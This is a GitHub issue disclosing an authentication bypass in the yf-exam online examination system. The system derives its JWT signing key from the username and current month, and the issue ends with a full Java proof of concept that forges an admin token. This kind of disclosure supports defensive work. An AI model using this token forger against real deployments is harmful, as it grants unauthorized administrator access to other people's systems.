Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Authentication Bypass vulnerability #2

Open
Fw-fW-fw opened this issue Feb 5, 2023 · 0 comments
Open

Authentication Bypass vulnerability #2

Fw-fW-fw opened this issue Feb 5, 2023 · 0 comments

Comments

@Fw-fW-fw
Copy link

Fw-fW-fw commented Feb 5, 2023

Description

yf-exam is a multi-role online training and examination system. The system integrates functions such as user management, role management, department management, question bank management, test question management, test question import and export, test management, online test, and wrong question training. The process is perfect. The program uses a fixed JWT key, and the stored key uses username format characters. Any user who logged in within 24 hours. A token can be forged with his username to bypass authentication.

Vulnerability details

login

com.yf.exam.modules.sys.user.controller#login()

image

Follow up the interface

com.yf.exam.modules.sys.user.service#lgion()

image

View the implementation class of the interface

com.yf.exam.modules.sys.user.service.impl#login()

image

First check whether the account exists, then check whether it is disabled, then check whether it is a password, and generate a token after passing.

com.yf.exam.modules.sys.user.service.impl#setToken()

image

You can see that it is generated using jwt. Then fill token, id.

com.yf.exam.ability.shiro.jwt#sign()

image
Here you can see that the payload is username, data, and the token is valid for 24 hours. jwt-key is encrypted username, follow up.

com.yf.exam.ability.shiro.jwt#encryptSecret()

image

Here you can see that the jwt-key is to take the md5 value twice. The jwt-key is generated based on the user name and remains unchanged for the current month, so it is very easy to forge.

TEST

Simulate admin login at around 13:44

image
Use poc to generate jwt

image

Import jwt and try to log in

image

After the import is refreshed, it successfully enters the background.

image

poc

import java.io.FileNotFoundException;
import java.security.MessageDigest;
import java.util.Calendar;
import java.util.Date;
import java.io.FileOutputStream;
import java.io.PrintStream;

import com.auth0.jwt.JWT;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.DecodedJWT;
import com.auth0.jwt.interfaces.JWTVerifier;
public class Jwt_Test {
    private static final long EXPIRE_TIME = 24 * 60 * 60 * 1000;
    public static String MD5(String str) {

        try {
            MessageDigest md = MessageDigest.getInstance("MD5");
            byte[] array = md.digest(str.getBytes("UTF-8"));
            StringBuilder sb = new StringBuilder();
            for (byte item : array) {
                sb.append(Integer.toHexString((item & 0xFF) | 0x100).substring(1, 3));
            }
            return sb.toString();
        } catch (Exception e) {
            return null;
        }
    }

    private static String encryptSecret(String userName) {

        // 一个简单的登录规则,用户名+当前月份为加密串,意思每个月会变,要重新登录
        // 可自行修改此规则
        Calendar cl = Calendar.getInstance();
        cl.setTimeInMillis(System.currentTimeMillis());
        StringBuffer sb = new StringBuffer(userName)
                .append("&")
                .append(cl.get(Calendar.MONTH));

        // 获取MD5
        String secret = MD5(sb.toString());
//        System.out.println("jwt_key:" + secret);

        return MD5(userName + "&" + secret);
    }

    public static String sign(String username, long time) {
        Date date = new Date(time+EXPIRE_TIME);
        System.out.println("token有效期:" + date);
        Algorithm algorithm = Algorithm.HMAC256(encryptSecret(username));
        // 附带username信息
        System.out.println("jwt-key :"+encryptSecret(username));
        return JWT.create()
                .withClaim("username", username)
                .withExpiresAt(date).sign(algorithm);

    }

    public static void main(String[] args) throws FileNotFoundException {
//        for (long i = 1675576527000L; i < 1675576827000L; i+=1000) {
//            String token = sign("admin", i);  //每秒计算一次jwt
//            System.out.println(token);
//            }
        String token = sign("admin", 1675577612169L);
        System.out.println(token);
        }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant